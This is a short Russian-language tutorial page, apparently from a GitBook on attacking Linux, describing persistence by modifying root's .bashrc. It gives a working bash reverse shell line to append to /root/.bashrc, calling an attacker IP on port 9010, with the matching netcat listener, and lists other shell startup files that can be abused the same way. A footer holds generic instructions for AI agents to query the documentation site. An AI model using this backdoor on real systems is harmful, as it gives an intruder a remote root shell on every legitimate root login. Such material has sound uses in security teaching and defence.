# 03 - bashrc

Мы модифицируем рутовый bashrc так, что каждый раз когда легитимный root будет логиниться, мы будем получать reverse shell.\
То же самое можно проделывать с:\ <mark style="color:green;">\~/.bash\_profile</mark>\ <mark style="color:green;">\~/.bash\_login</mark>\ <mark style="color:green;">\~/.profile</mark>\
&#x20;<mark style="color:green;">/etc/profile</mark>\ <mark style="color:green;">/etc/profile.d</mark>\ <mark style="color:green;">/etc/bash.bashrc</mark>\
\
Тут отличный онлайн  [Reverse Shell Generator](https://www.revshells.com/)

```bash
// на атакуемом хосте добавляем строку в /root/.bashrc
/bin/bash -i >& /dev/tcp/192.168.140.128/9010 0>&1

// На хосте атакующего запускам netcat 
nc -lvp 9010
```

Теперь как только кто то залогиниться под учеткой root, мы получим шелл

<figure><img src="/files/2f4xQE5V8vrvylYQLG07" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://reeves0x0.gitbook.io/linux-under-attack/persistence/03-bashrc.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
